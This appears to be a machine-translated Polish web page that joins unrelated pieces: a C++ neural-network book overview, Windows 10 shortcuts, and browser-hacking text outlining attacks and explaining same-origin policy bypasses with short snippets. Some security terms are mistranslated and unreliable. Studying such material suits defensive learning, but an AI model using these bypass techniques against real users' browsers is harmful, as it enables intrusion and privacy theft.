Sieci neuronowe w C++

Liczba modeli sieci neuronowych dostępnych w literaturze jest dość duża. Bardzo często jest to matematyczne i złożone. Tu będziemy zawierać przykłady w C ++, które możesz wykorzystać jako podstawę do dalszych eksperymentów. Kluczem do poznania sieci neuronowych, aby docenić ich wewnętrzne działanie, jest eksperymentowanie. Ostatecznie sieci neuronowe są zabawne, jeśli chodzi o poznawanie i odkrywanie. Chociaż językiem używanego opisu jest C ++, nie znajdziesz obszernych bibliotek klas. Z wyjątkiem symulatora wstecznej propagacji, znajdziesz dość proste programy przykładowe dla wielu różnych architektur i paradygmatów sieci neuronowych. Ponieważ wsteczna propagacja jest szeroko stosowana i łatwa do opanowania, symulator ma możliwość obsługi dużych zbiorów danych wejściowych. Skorzystamy z symulatora w jednej z części, aby rozwiązać problem prognozowania finansowego. Znajdziesz tu wystarczająco dużo miejsca na rozszerzenie i eksperymentowanie z kodem. Istnieje wiele różnych pół dla sieci neuronowych i logiki rozmytej. Pola rozwijają się szybko z coraz to nowymi wynikami i aplikacjami. Przedstawimy wiele różnych topologii sieci neuronowych, w tym BAM, Perceptron, pamięć Hopfielda, ART1, samoorganizującą się mapę Kohonena, rozmytą pamięć asocjacyjną Kosko oraz, oczywiście, sieć propagacji wstecznej Feedforward (zwaną również Wielowarstwowym Perceptronem).Powinieneś uzyskać dość szeroki obraz sieci neuronowych i logiki rozmytej. Jednocześnie będziesz mieć prawdziwy kod, który pokazuje przykładowe użycie modeli, aby umocnić zrozumienie. Jest to szczególnie przydatne dla bardziej skomplikowanych architektur sieci neuronowych, takich jak teoria rezonansu adaptacyjnego Stephena Grossberga (ART). Sieci neuronowe są obecnie przedmiotem zainteresowania specjalistów w wielu dziedzinach, a także narzędziem do wielu obszarów rozwiązywania problemów. Aplikacje są rozpowszechnione w ostatnich latach, a owoce tych aplikacji są zbierane przez wielu z różnych dziedzin. Metodologia ta stała się alternatywą dla modelowania niektórych systemów fizycznych i nie fizycznych z podstawami naukowymi lub matematycznymi, a także metodologią systemów eksperckich. Jednym z powodów jest to, że brak pełnej informacji nie jest tak dużym problemem w sieciach neuronowych, jak w innych wspomnianych wcześniej metodologiach. Wyniki są czasami zdumiewające, a nawet fenomenalne, z sieciami neuronowymi, a wysiłki są czasami stosunkowo skromne, aby osiągnąć takie wyniki. Przetwarzanie obrazu, wizja, analiza rynku finansowego i optymalizacja należą do wielu obszarów zastosowań sieci neuronowych. Myślenie, że modelowanie sieci neuronowych polega na modelowaniu systemu, który próbuje naśladować ludzkie uczenie się, jest nieco ekscytujące. Sieci neuronowe mogą się uczyć w trybie uczenia bez nadzoru. Tak jak ludzkie mózgi mogą być szkolone do opanowania pewnych sytuacji, sieci neuronowe mogą być szkolone w rozpoznawaniu wzorców i przeprowadzaniu optymalizacji i innych zadań. W początkowym okresie zainteresowania sieciami neuronowymi naukowcami byli głównie biolodzy i psycholodzy. Poważne badania prowadzone są obecnie nie tylko przez biologów i psychologów, ale także przez specjalistów z dziedziny informatyki, elektrotechniki, inżynierii komputerowej, matematyki i fizyki. Te ostatnie połączyły siły lub prowadzą niezależne badania równolegle z tymi pierwszymi, które otworzyły nowe i obiecujące pole dla wszystkich. Tutaj zamierzamy wprowadzić temat sieci neuronowych w sposób bezpośredni i prosty, aby ułatwić zrozumienie metodologii. Większość ważnych architektur sieci neuronowych jest uwzględniona i mamy szczerą nadzieję, że naszym wysiłkom udało się przedstawić ten temat w jasny i użyteczny sposób.

Część 1 zawiera przegląd terminologii i nazewnictwa sieci neuronowych. Odkrywasz, że sieci neuronowe są w stanie rozwiązywać złożone problemy za pomocą równoległych architektur obliczeniowych. W tym rozdziale przedstawiono sieć Hopfield i sieć feedforward.

Część 2 wprowadza C++ i orientację obiektową. Poznajesz zalety programowania obiektowego i jego podstawowe koncepcje.

Część 3 przedstawia logikę rozmytą, technologię, która jest dość synergiczna z rozwiązywaniem problemów z sieciami neuronowymi. Dowiesz się o matematyce z zestawami rozmytymi, a także o tym, jak zbudować prosty fuzzifier w C++.

Część 4 przedstawia dwa najprostsze, ale bardzo reprezentatywne modele: sieci Hopfield, sieci Perceptron i ich implementacji w C++.

Część 5 to przegląd modeli sieci neuronowych. Opisuje cechy kilku modeli, opisuje funkcje progowe i rozwija koncepcje w sieciach neuronowych.

Część 6 koncentruje się na paradygmatach uczenia się i szkolenia. Wprowadza pojęcia nadzorowanego i nienadzorowanego uczenia się, samoorganizacji oraz zagadnienia obejmujące wsteczną propagację błędów, sieci radialnych funkcji bazowych i metody gradientów sprzężonych.

W Części 7 omówiono budowę symulatora wstecznej propagacji błędów. Ten symulator przyda się również w dalszych rozdziałach. Klasy i funkcje C++ są szczegółowo opisane w tym rozdziale.

Część 8 dotyczy pamięci dwukierunkowych asocjacyjnych do kojarzenia par wzorców.

Część 9 wprowadza pamięci skojarzeniowe rozmyte do kojarzenia par zbiorów rozmytych.

Część 10 obejmuje adaptacyjną teorię rezonansu Grossberga. Będziesz miał okazję poeksperymentować z programem ilustrującym działanie tej teorii.

Części 11 i 12 omawiają samoorganizującą się mapę Teuvo Kohonena i jej zastosowanie do rozpoznawania wzorców.

Część 13 kontynuuje dyskusję na temat symulatora propagacji wstecznej, z ulepszeniami wprowadzonymi do symulatora, aby uwzględnić pęd i hałas podczas treningu.

Część 14 stosuje propagację wsteczną do problemu prognozowania finansowego, omawia tworzenie sieci propagacji wstecznej z 15 zmiennymi wejściowymi i 200 przypadkami testowymi do przeprowadzenia symulacji. Do problemu podchodzi się za pomocą systematycznego 12-etapowego podejścia do wstępnego przetwarzania danych i konfigurowania problemu. W literaturze można znaleźć szereg przykładów prognozowania finansowego. Dołączono przewodnik po sieciach neuronowych w finansach dla osób, które chciałyby uzyskać więcej informacji na ten temat.

Część 15 zajmuje się optymalizacją nieliniową z dokładnym omówieniem problemu Travelling Salesperson. Poznasz sformułowanie Hopfielda i podejście Kohonena.

Część 16 omawia dwa obszary zastosowań logiki rozmytej: rozmyte systemy sterowania i rozmyte bazy danych. W tym rozdziale omówiono również kilka przykładów relacji rozmytych i teorii zbiorów rozmytych.




Hackowanie Przeglądarki

Część 1: Bezpieczeństwo przeglądarki internetowej : Ta Część rozpoczyna Twoją przygodę z hakowaniem przeglądarki. Pierwszym krokiem jest poznanie ważnych koncepcji przeglądarki i niektórych podstawowych problemów związanych z bezpieczeństwem przeglądarki. Badasz paradygmat mikroobwodów potrzebny do obrony dzisiejszych organizacji i zastanawiasz się nad pewnymi błędami, które nadal propagują niebezpieczne praktyki. W tym rozdziale omówiono również metodologię określającą, w jaki sposób można przeprowadzać ataki z wykorzystaniem przeglądarki. Obejmuje obszar ataku prezentowany przez przeglądarkę oraz sposób, w jaki zwiększa ekspozycję zasobów wcześniej uznanych za chronione.

Część 2: Inicjowanie kontroli : Za każdym razem, gdy przeglądarka internetowa łączy się z siecią, prosi o instrukcje. Przeglądarka następnie sumiennie realizuje polecenia, które zostały jej przekazane przez serwer sieciowy. Nie trzeba dodawać, że granice istnieją, ale przeglądarka zapewnia potężne środowisko do wykorzystania przez atakujących. Ta Część przeprowadzi Cię przez pierwszą fazę ataków na przeglądarkę, badając, jak wykonać kod w docelowej przeglądarce. Poznajesz zalety luk w zabezpieczeniach Cross-Site Scripting, ataków Man-in-the-Middle, socjotechniki i nie tylko.

Część 3: Zachowanie kontroli : Techniki inicjacji omówione do tej pory pozwalają na wykonanie instrukcji tylko raz. Tu przedstawiono sposób utrzymywania komunikacji i trwałości, dając interaktywną kontrolę z możliwością wykonywania wielu rund poleceń. Podczas typowej sesji hakerskiej będziesz chciał zachować kanał komunikacji z przeglądarką i, tam gdzie to możliwe, zachować kontrolę podczas ponownego uruchamiania. Bez tego szybko znajdziesz się z powrotem w punkcie wyjścia, próbując zachęcić cel do ciągłego łączenia się. Dowiesz się, jak używać ładunku do utrzymywania komunikacji z przeglądarką, umożliwiając wysyłanie wielu iteracji instrukcji. Zapewni to, że nie zmarnujesz żadnych okazji po otrzymaniu tego najważniejszego początkowego połączenia. Uzbrojony w tę wiedzę, jesteś teraz gotowy do przeprowadzenia różnych ataków przedstawionych w kolejnych Częściach.

Część 4: Obchodzenie zasad tego samego pochodzenia : W bardzo podstawowych terminach, polityka tego samego pochodzenia (SOP) ogranicza interakcję jednej witryny z inną. Jest to prawdopodobnie najbardziej podstawowa koncepcja bezpieczeństwa przeglądarki internetowej. W związku z tym można by oczekiwać, że przewidywanie skutków wspólnych działań będzie spójne we wszystkich komponentach przeglądarki i trywialne. Ten Część pokazuje, że tak nie jest. Twórcy stron internetowych niemal na każdym kroku są nękani kijem SOP; istnieje różnica między sposobem zastosowania SOP do samej przeglądarki, rozszerzeń, a nawet wtyczek. Ten brak spójności i zrozumienia zapewnia atakującym możliwości wykorzystania skrajnych przypadków. Omówiono omijanie różnych elementów sterujących SOP w przeglądarce. Odkrywasz nawet problemy z przeciąganiem i upuszczaniem oraz różnymi atakami naprawiającymi interfejs użytkownika i synchronizacją. Jedną z bardziej zaskakujących rzeczy, których dowiesz się w tym rozdziale, jest to, że przy odpowiednim kodowaniu obejścia SOP mogą przekształcić przeglądarkę w proxy HTTP.

Część 5: Atakowanie użytkowników : Ludzie są często określani jako najsłabsze ogniwo bezpieczeństwa. Ten Część koncentruje się na atakach wymierzonych w oprogramowanie typu wetware niczego niepodejrzewającego użytkownika. Niektóre ataki dodatkowo wykorzystują taktyki socjotechniki omówione w Części 2. Inne ataki wykorzystują cechy przeglądarek i ich zaufanie do otrzymanego kodu. W tym rozdziale zapoznasz się z deanonimizacją i ukrytym włączaniem kamery internetowej, a także uruchamianiem złośliwych plików wykonywalnych z lub bez żadnej jawnej interwencjai użytkownika.

Część 6: Atakowanie przeglądarek : Podczas gdy cały tekst dotyczy atakowania przeglądarki i obchodzenia jej kontroli bezpieczeństwa, ta Część koncentruje się na czymś, co można nazwać przeglądarką typu barebone. Czyli przeglądarka bez rozszerzeń i wtyczek . Poznasz proces bezpośredniego atakowania przeglądarki. Zagłębiasz się w odciski palców przeglądarki, aby odróżnić dostawców i wersje. Dowiesz się również, jak przeprowadzać ataki i włamywać się do komputera, na którym działa przeglądarka.

Część 7: Atakowanie rozszerzeń : Ta Część koncentruje się na wykorzystywaniu luk w rozszerzeniach przeglądarki. Rozszerzenie to oprogramowanie, które dodaje (lub usuwa) funkcje do (lub z) przeglądarki internetowej. Rozszerzenie nie jest samodzielnym programem w przeciwieństwie do ich drugich kuzynów, wtyczek. Być może znasz rozszerzenia takie jak LastPass, Firebug, AdBlock i NoScript. Rozszerzenia wykonują kod w zaufanych strefach ze zwiększonymi uprawnieniami i pobierają dane z mniej zaufanych stref, takich jak Internet. Włączy się alarm dla doświadczonych specjalistów od bezpieczeństwa. Istnieje realne ryzyko ataków wstrzykiwania, a w praktyce niektóre z tych ataków prowadzą do zdalnego wykonania kodu. W tym rozdziale poznasz anatomię ataków rozciągających. Zagłębiasz się w exploity eskalacji uprawnień, które dają dostęp do uprzywilejowanej strefy przeglądarki (lub chrome://) i powodują wykonanie polecenia.

Część 8: Atakowanie wtyczek : Ta Część koncentruje się na atakowaniu wtyczek do przeglądarek internetowych, które są częściami oprogramowania, które dodają określone funkcje do przeglądarek internetowych. W większości przypadków oprogramowanie wtyczki może działać niezależnie bez przeglądarki internetowej. Popularne wtyczki to Acrobat Reader, Flash Player, Java, QuickTime, RealPlayer, Shockwave i Windows Media Player. Niektóre z nich są niezbędne do przeglądania, a niektóre do funkcji biznesowych. Flash jest potrzebny w przypadku witryn takich jak YouTube (który potencjalnie przechodzi na HTML5) i Java jest wymagana dla funkcji biznesowych, takich jak WebEx. Wtyczki są nękane lukami w zabezpieczeniach i nadal stanowią bogate źródło exploitów. Jak się przekonasz, luki w zabezpieczeniach wtyczek pozostają jednym z najbardziej niezawodnych sposobów przejęcia kontroli nad przeglądarką. Poznasz analizowanie i wykorzystywanie wtyczek przeglądarki za pomocą popularnych, ogólnodostępnych narzędzi. Dowiesz się o omijaniu mechanizmów ochronnych, takich jak Click to Play i przejmowaniu kontroli nad celem poprzez luki w wtyczkach.

Część 9: Atakowanie aplikacji internetowych : Twoja codzienna przeglądarka internetowa może przeprowadzać potężne ataki internetowe, nadal przestrzegając przyjętych kontroli bezpieczeństwa. Przeglądarki internetowe są zaprojektowane do komunikowania się z serwerami internetowymi za pomocą protokołu HTTP. Te funkcje HTTP można obrócić przeciwko sobie, aby osiągnąć kompromis w celu, który nie znajduje się nawet w bieżącym źródle. Ta Część koncentruje się na atakach, które można uruchomić z przeglądarki bez naruszania SOP. Nauczysz się różnych sztuczek, które pozwalają na odciski palców zasobów między źródłami, a nawet identyfikację wspólnych luk w aplikacjach internetowych. Możesz być zaskoczony, gdy dowiesz się, że podczas korzystania z przeglądarki można wykryć i wykorzystać cross-origin Cross-site Scripting i SQL również luki w zabezpieczeniach wtrysku. Pod koniec Części zrozumiesz, jak osiągnąć zdalne wykonanie kodu cross-origin. Odkryjesz również ataki Cross-Site Request Forgery, wyliczanie opóźnień na podstawie czasu, uwierzytelnianie ataków i ataki typu "odmowa usługi".

Część 10: Atakowanie sieci : Ta ostatnia Część dotyczący ataków obejmuje identyfikowanie powierzchni ataku intranetu poprzez skanowanie portów w celu wykrycia nieznanych wcześniej hostów. Eksploracja jest kontynuowana poprzez prezentację technik, takich jak przypinanie NAT. W tym rozdziale odkryjesz również ataki wykorzystujące przeglądarkę internetową do bezpośredniego komunikowania się z usługami innymi niż internetowe. Dowiesz się, jak wykorzystać moc techniki Interprotocol Exploitation, aby złamać cele w intranecie przeglądarki.




XV Podstawowych Skrótów w Windows 10

1. Ctrl + A: Ctrl + A, podświetla lub zaznacza wszystko, co masz w środowisku, w którym pracujesz. Jeśli myślisz sobie: "Wow, zawartość tego dokumentu jest obszerna i nie ma czasu, aby ją wybrać, a poza tym wywrze presję na moim komputerze?" Używanie myszy do tego jest przestarzałą metodą obsługi zadania, takiego jak wybieranie wszystkich, Ctrl + A zajmie się tym w zaledwie kilka sekund.

2. Ctrl + C: Ctrl + C kopiuje dowolny podświetlony lub wybrany element w środowisku pracy. Oszczędza czas i stres, który zostałby użyty do kliknięcia prawym przyciskiem myszy i ponownego kliknięcia tylko w celu skopiowania. Użyj Ctrl + C.

3. Ctrl + N: Ctrl + N otwiera nowe okno lub plik. Zamiast klikać Plik, Nowy, pusty / szablon i kolejne kliknięcie, po prostu naciśnij Ctrl + N, a nowe okno lub plik pojawi się natychmiast.

4. Ctrl + O: Ctrl + O otwiera istniejący plik. Użyj Ctrl + O, gdy chcesz zlokalizować / otworzyć plik lub program.

5. Ctrl + P: Ctrl + P drukuje aktywny dokument. Zawsze używaj tego do zlokalizowania okna dialogowego drukarki i drukowania.

6. Ctrl + S: Ctrl + S zapisuje nowy dokument lub plik i zmiany wykonane przez użytkownika. Dotykasz teraz myszy? Proszę przestań! Nie używaj myszy. Po prostu naciśnij Ctrl + S, a wszystko zostanie zapisane.

7. Ctrl + V: Ctrl + V wkleja skopiowane elementy do aktywnego obszaru używanego programu. Użycie ctrl + V w takim przypadku Oszczędza czas i stres związany z kliknięciem prawym przyciskiem myszy i ponownym kliknięciem tylko po to, aby wkleić.

8. Ctrl + W: Ctrl + W służy do zamykania strony, na której pracujesz, gdy chcesz opuścić środowisko pracy. "Jest sposób, w jaki Peace robi to bez użycia myszy. O mój Boże, dlaczego się tego nie nauczyłem? " Nie martw się, mam odpowiedź: Peace naciska Ctrl + W, aby zamknąć aktywne okna.

9. Ctrl + X: Ctrl + X tnie elementy (sprawiając, że elementy znikają z ich pierwotnego miejsca). Różnica między wycinaniem a usuwaniem elementów polega na tym, że w wycinaniu wycinane elementy nie giną na stałe, ale przygotowuje się do wklejenia w innym miejscu wybranym przez użytkownika. Użyj Ctrl + X, gdy myślisz "To nie powinno być tutaj i nie mogę znieść stresu związanego z przepisywaniem lub przeprojektowywaniem tego we właściwym miejscu".

10. Ctrl + Y: Ctrl + Y ponawia cofniętą czynność. Ctrl + Z przywróciło to, czego nie potrzebujesz? Naciśnij Ctrl + Y, aby ponownie go usunąć.

11. Ctrl + Z: Ctrl + Z cofa akcje. Nie możesz znaleźć tego, co wpisałeś teraz lub wstawionego obrazu, nagle zniknął lub omyłkowo go usunąłeś? Naciśnij Ctrl + Z, aby go przywrócić.

12. Alt + F4: Alt + F4 zamyka aktywne okna lub elementy. Nie musisz poruszać myszą, aby zamknąć aktywne okno, po prostu naciśnij Alt + F4, jeśli skończysz lub nie chcesz, aby ktoś, kto przychodził, zobaczył, co robisz.

13. Ctrl + F6: Control plus F6 Nawigacja między otwartymi oknami, umożliwiając użytkownikowi zobaczenie, co dzieje się w aktywnych oknach. Pracujesz w programie Microsoft Word i chcesz się dowiedzieć, czy inne aktywne okno, w którym Twoja przeglądarka ładuje stronę, nadal się rozwija? Użyj Ctrl + F6.

14. F1: Wyświetla okno pomocy. Czy Twój komputer działa nieprawidłowo? Użyj F1, aby znaleźć pomoc, gdy nie wiesz, co dalej zrobić.

15. F12: Umożliwia użytkownikowi wprowadzanie zmian w już zapisanym dokumencie. F12 to skrót do użycia, gdy chcesz zmienić format, w którym zapisałeś istniejący dokument, wpisać hasło, zmienić jego nazwę, zmienić lokalizację pliku lub miejsce docelowe lub wprowadzić inną zmianę












Numer 01 (61) / 2022

Odwiedzin: 45509
Dzisiaj: 9
On-line: 1
Strona istnieje: 1886 dni
Ładowanie: 0.292 sek


[ 4369 ]











Hackowanie Przeglądarki… (V)



Omijanie zasad tego samego pochodzenia

Polityka tego samego pochodzenia (SOP) jest prawdopodobnie najważniejszą kontrolą bezpieczeństwa stosowaną w sieci. Niestety jest to również jedna z najbardziej niekonsekwentnie zaimplementowanych specyfikacji. Jeśli SOP zostanie złamany lub ominięty, centralny model bezpieczeństwa sieci World Wide Web również zostanie złamany. Intencją SOP jest ograniczenie interakcji między interfejsami niepowiązanego pochodzenia. SOP mówi, że jeśli strona pochodzenia http://browserhacker.com chce uzyskać dostęp do informacji z http://browservictim.com, nie może. Oczywiście w zależności od używanej przeglądarki lub używanej wtyczki przeglądarki nie zawsze jest to takie proste. W tej części przeanalizowano różne obejścia SOP. Ponieważ SOP jest bardzo krytycznym elementem bezpieczeństwa przeglądarki, wiele z tych obejścia zostanie załatanych przed przeczytaniem tego tekstu. Mimo to jest wiele do zbadania i nie jest niczym niezwykłym zbudowanie nowej obwodnicy poprzez modyfikację poprzedniej. Kiedy stosujesz obejście SOP, często możliwe jest użycie przechwyconej przeglądarki jako proxy HTTP w celu uzyskania dostępu do źródeł innych niż początkowo przechwycone. Tak, brzmi to dziwnie, ale w tej części zobaczysz, jak jest to możliwe.


Zrozumienie zasad tego samego pochodzenia

SOP uznaje strony mające tę samą nazwę hosta, schemat i port za pochodzące z tego samego źródła. Jeśli którykolwiek z tych trzech atrybutów jest inny, zasób ma inne pochodzenie. Dlatego jeśli dostarczone zasoby pochodzą z tej samej nazwy hosta, schematu i portu, mogą współdziałać bez ograniczeń. SOP został początkowo zdefiniowany tylko dla zasobów zewnętrznych, ale został rozszerzony o inne rodzaje źródeł. Obejmuje to dostęp do plików lokalnych przy użyciu schematu plików i zasobów związanych z przeglądarką przy użyciu schematu chrome. Rozważmy następującą analogię, aby zademonstrować konieczność takiej polityki. Wyobraź sobie szpital. Wszyscy pacjenci w szpitalu początkowo przyjmowani są z zewnątrz. W szpitalu może przebywać jednocześnie wielu pacjentów, wszyscy niespokrewnieni. Jeśli któryś z pacjentów w szpitalu zwróci się do personelu szpitala z prośbą o przekazanie dokumentacji medycznej lub statusu innych pacjentów, zostanie on odrzucony (i ewentualnie przy wielokrotnych agresywnych próbach zostanie przyjęty do innego rodzaju szpitala!). Podobnie, jeśli przypadkowi członkowie społeczeństwa zwrócą się do szpitala z prośbą o wizytę lub zapytanie o status któregokolwiek z pacjentów, szpital sprawdzi, czy są blisko spokrewnieni - z tej samej rodziny lub pochodzenia - przed zezwoleniem na dostęp. A teraz wyobraź sobie szpital, który pozwalał na nieskrępowaną interakcję między swoimi pacjentami, posiadał dane o pacjentach i kimkolwiek ze świata zewnętrznego! To jest przeglądarka bez SOP. Właściwie staje się to bardziej skomplikowane. Na przykład istnieje SOP dla XMLHttpRequest, dostępu DOM i plików cookie. Istnieją nawet oddzielne SOP dla różnych wtyczek, takich jak Java, Flash i Silverlight, z których każda demonstruje własne dziwactwa i interpretacje. Rozważając te różnice, możesz zacząć pojmować trudność, jaką obrońca ma z próbą zabezpieczenia miejsca pochodzenia. Gdyby tego było mało, istnieją uzasadnione powody, dla których aplikacje internetowe komunikują się z różnymi źródłami. Niektóre z tych technik komunikacji między źródłami zostały zbadane w części 3, w tym odpytywanie XHR, protokół WebSocket, funkcje window.postMessage() i kanały DNS. W poniższych sekcjach omówimy więcej przykładów technik używanych przez aplikacje internetowe do komunikowania się między źródłami.

Zrozumienie SOP z DOM

Podczas określania, w jaki sposób JavaScript i inne protokoły mogą uzyskać dostęp do zasad DOM, porównuje się trzy części adresu URL w celu określenia dostępu - nazwę hosta, schemat i port. Jeśli dwie witryny zawierają tę samą nazwę hosta, schemat i port podczas uzyskiwania dostępu, przyznawany jest dostęp DOM. Jedynym wyjątkiem (dla dostępu DOM) jest Internet Explorer; sprawdza tylko nazwę hosta i schemat przed określeniem dostępu. Działa to dobrze, gdy wszystkie skrypty mają jedno źródło. Jednak w wielu przypadkach może istnieć inny host w tej samej domenie głównej, który powinien mieć dostęp do DOM strony źródłowej. Jednym z przykładów może być seria witryn korzystających z centralnego serwera uwierzytelniania. Na przykład store.browservictim.com może wymagać użycia uwierzytelniania przez login.browservictim.com. W takim przypadku witryny mogą używać właściwości document.domain, aby umożliwić innym witrynom w tej samej domenie interakcję z DOM. Aby zezwolić kodowi z login.browservictim.com na interakcję z formularzami na store.browservictim.com, programista musiałby ustawić właściwość document.domain do katalogu głównego domeny (w obu witrynach):

document.domain = "browservictim.com"

Po ustawieniu tego w DOM, SOP jest rozluźniany do korzenia domeny. Oznacza to, że wszystko w domenie browservictim.com może uzyskać dostęp do DOM na bieżącej stronie. Istnieje jednak kilka ograniczeń dotyczących ustawiania tych wartości. Gdy SOP zostanie zrelaksowany do domeny głównej, nie można go ponownie ograniczyć. Aby zobaczyć to w akcji, możesz spróbować ustawić właściwość document.domain na katalog główny domeny. Następnie spróbuj ponownie go ograniczyć. Otwarcie SOP w celu uwzględnienia domeny głównej będzie dozwolone, jednak przy próbie jej przywrócenia zostanie wygenerowany błąd:

// obecna domena: store.browservictim.com
document.domain = "browservictim.com"; // Dobrze
// obecna domena: browservictim.com
document.domain = "store.browservictim.com"; // Błąd

Przed złagodzeniem SOP w ten sposób ważne jest, aby upewnić się, że programiści rozumieją wszystkie konsekwencje. Jeśli było to środowisko produkcyjne, a ktoś umieścił wikidev.browservictim.com w Internecie, słabości tej nowej witryny mogą stanowić zagrożenie dla pochodzenia store.browservictim.com. Jeśli atakujący byłby w stanie przesłać złośliwy kod z powodu niezałatanych słabości, witryna wikidev miałaby taki sam poziom dostępu jak witryna logowania. Może to ujawnić informacje lub doprowadzić do XSS, XSRF lub innych rodzajów ataków.

Zrozumienie SOP z CORS

Domyślnie, jeśli używasz obiektu XMLHttpRequest (XHR) do wysłania żądania do innego źródła, nie możesz odczytać odpowiedzi. Jednak żądanie nadal dotrze do miejsca przeznaczenia. Jest to bardzo przydatna cecha żądań cross-origin i zostanie omówiona w Częściach 9 i 10 jako część szeregu technik ataku. SOP uniemożliwia odczytanie nagłówków lub treści odpowiedzi HTTP. Jednym ze sposobów na rozluźnienie SOP i umożliwienie komunikacji między źródłami z XHR jest wykorzystanie współużytkowania zasobów między źródłami (CORS). Jeśli źródło browserhacker.com zwróci następujące nagłówki odpowiedzi, to każda subdomena browservictim.com może otworzyć dwukierunkowy kanał komunikacji z browserhacker.com:

Access-Control-Allow-Origin: *.browservictim.com
Access-Control-Allow-Methods: OPTIONS, GET, POST
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true

Inne niż pierwszy nagłówek odpowiedzi HTTP, który nie wymaga wyjaśnień, inne nagłówki określają, że żądania mogą być wykonywane przy użyciu dowolnej z metod OPTIONS, GET lub POST i ostatecznie zawierają nagłówek X-custom. Zwróć także uwagę na nagłówek Access-Control-Allow-Credentials, który jest odpowiedzialny za umożliwienie uwierzytelnionej komunikacji z zasobem. Widać to w następującym fragmencie kodu:

var url = 'http://browserhacker.com/authenticated/user';
var xhr = new XMLHttpRequest()
xhr.open('GET', url, true);
xhr.withCredentials = true;
xhr.onreadystatechange = do_something();
xhr.send();

Poprzedni przykład pobiera zasób /authenticated/user. W tym przypadku dostęp wymagał poświadczeń. Obsługa uwierzytelniania z włączoną obsługą JavaScript przez ustawienie flagi withCredentials na wartość true.

Zrozumienie SOP za pomocą wtyczek

Teoretycznie, jeśli wtyczka jest udostępniana z http://browserhacker.com:80/, powinna mieć dostęp tylko do http://browserhacker.com:80/. W praktyce sprawy nie są takie proste. Jak dowiesz się , istnieje wiele implementacji SOP w Javie, Adobe Reader, Adobe Flash i Silverlight, ale większość z nich jest niespójna i cierpiała na różne obejścia w przeszłości. Każda większa wtyczka przeglądarki implementuje SOP na swój własny sposób. Na przykład niektóre wersje Javy uznają, że dwie różne domeny mają to samo pochodzenie, jeśli adres IP jest taki sam. Może to mieć katastrofalne skutki w wirtualnych środowiskach hostingowych, które często obsługują wiele witryn internetowych z tego samego adresu IP. Adobe ma długą historię krytycznych błędów bezpieczeństwa w swoich wtyczkach PDF Reader i Flash. Większość z tych błędów pozwalała na wykonanie dowolnego kodu, więc ryzyko bezpieczeństwa było znacznie większe niż obejście SOP. Jednak obejścia SOP wpłynęły również na obie wtyczki. Adobe Flash oferuje metodę umożliwiającą zarządzanie komunikacją między źródłami. Odbywa się to za pomocą pliku o nazwie crossdomain.xml, który powinien znajdować się w katalogu głównym witryny. Plik ma zawartość podobną do następującej:

< ?xml version="1.0"? >
< cross-domain-policy >
< site-control permitted-cross-domain-policies="by-content-type"/ >
< allow-access-from domain="*.browserhacker.com" / >
< /cross-domain-policy >

Dzięki takiej polityce każda subdomena browserhacker.com może nawiązać dwukierunkową komunikację z aplikacją. SOP Java i Silverlight można złagodzić w podobny sposób, ponieważ crossdomain.xml jest obsługiwany przez obie te wtyczki. Silverlight obsługuje również zasady dostępu klienta. xml. Po wysłaniu żądania cross-origin Silverlight najpierw sprawdza ten plik, a następnie, jeśli nie zostanie znaleziony, powraca do crossdomain.xml. Obie wtyczki mają swoje dziwactwa, o czym dowiesz się w kolejnych sekcjach.

Zrozumienie SOP z naprawą interfejsu użytkownika

Upraszczając, naprawa interfejsu użytkownika to kategoria metodologii ataków, która zmienia elementy wizualne w interfejsie użytkownika w celu ukrycia złośliwych działań. Nakładanie widocznego przycisku z niewidocznym przyciskiem przesyłania, który wykonuje złośliwą akcję, lub zmiana kursora w taki sposób, aby poruszał się lub klikał niezależnie od miejsca, w którym użytkownik faktycznie zamierza, to oba ataki mające na celu naprawienie interfejsu użytkownika. Wiele ataków mających na celu naprawienie interfejsu użytkownika zostało z powodzeniem wykorzystanych na wolności, atakując Facebooka i inne popularne witryny, o czym przekonasz się w dalszej części tego rozdziału. Ataki naprawiające interfejs użytkownika omijają SOP na różne sposoby. Niektóre z tych (teraz załatanych) ataków opierały się na fakcie, że SOP nie był egzekwowany podczas wykonywania czynności przeciągnij i upuść z głównego okna do ramek IFramek, między ramkami IFrame i między oknami. Inne ataki polegają na tym, że SOP nie jest egzekwowany w określonych warunkach podczas żądania zawartości view-source.

Zrozumienie SOP z historią przeglądarki

Pobieranie historii przeglądarki może być potencjalnie szkodliwe dla prywatności użytkownika końcowego. Chociaż większość ataków wymierzonych w prywatność użytkownika została omówiona w Części 5, niektóre przykłady ataków na historię przeglądarki są również omówione w tym rozdziale. Niektóre z tych ataków opierają się na klasycznych wadach implementacji SOP, takich jak schemat http mający dostęp do innych schematów (na przykład przeglądarki, about lub mx). Ataki te działały na Avant i Maxthon, dwie mniej znane przeglądarki, które są bardzo popularne w Chinach. Inne, bardziej wyrafinowane ataki obejmują przechwytywanie błędów naruszenia SOP podczas ładowania zasobów z różnych źródeł. Ataki te są przydatne w ujawnianiu witryn odwiedzanych wcześniej przez przeglądarkę.


Odkrywanie obejścia SOP

SOP jest różnie interpretowany przez różnych programistów. Ta złożoność i zróżnicowana interpretacja będzie działać na Twoją korzyść podczas atakowania przeglądarki. Jednym ze sposobów na poszerzenie możliwości ofensywnych jest znalezienie sposobu na obejście SOP. Umożliwi to wykorzystanie przeglądarki ofiary jako liberalnego punktu zwrotnego do przeprowadzania dalszych ataków, nie tylko na Internet, ale także na intranety, a nawet potencjalnie na lokalny system plików. Poniższe sekcje zademonstrują metody, w których SOP można ominąć za pomocą wtyczek przeglądarki, dziwactw przeglądarki, a nawet aplikacji innych firm. Nie jest to w żaden sposób obszerna lista każdego obejścia SOP, ale działa jako elementarz niektórych z bardziej powszechnych obejścia i metod, które odniosły sukces.

Omijanie SOP w Javie

Wersje Java 1.7u17 i 1.6u45 nie wymuszają SOP, jeśli dwie domeny mają ten sam adres IP. Oznacza to, że jeśli browserhacker.com i browservictim.com rozwiązują ten sam adres IP, aplet Java może wysyłać żądania cross-origin i odczytywać odpowiedzi. Przeglądając dokumentację Java 6 i 7, w szczególności metodę równości obiektu URL1, odkrywamy następujące stwierdzenie: "Dwa hosty są uważane za równoważne, jeśli obie nazwy hostów można rozwiązać na te same adresy IP […]". Oczywiście jest to luka w implementacji SOP Javy (która nie była załatana w momencie pisania tego tekstu). Błąd jest krytyczny, gdy jest wykorzystywany w środowiskach hostingu wirtualnego, w których potencjalnie setki domen są zarządzane przez ten sam serwer i mają ten sam adres IP. Rozważmy następujący scenariusz, w którym www.browserhacker.com i www.browservictim.com mają ten sam adres IP 192.168.0.2:

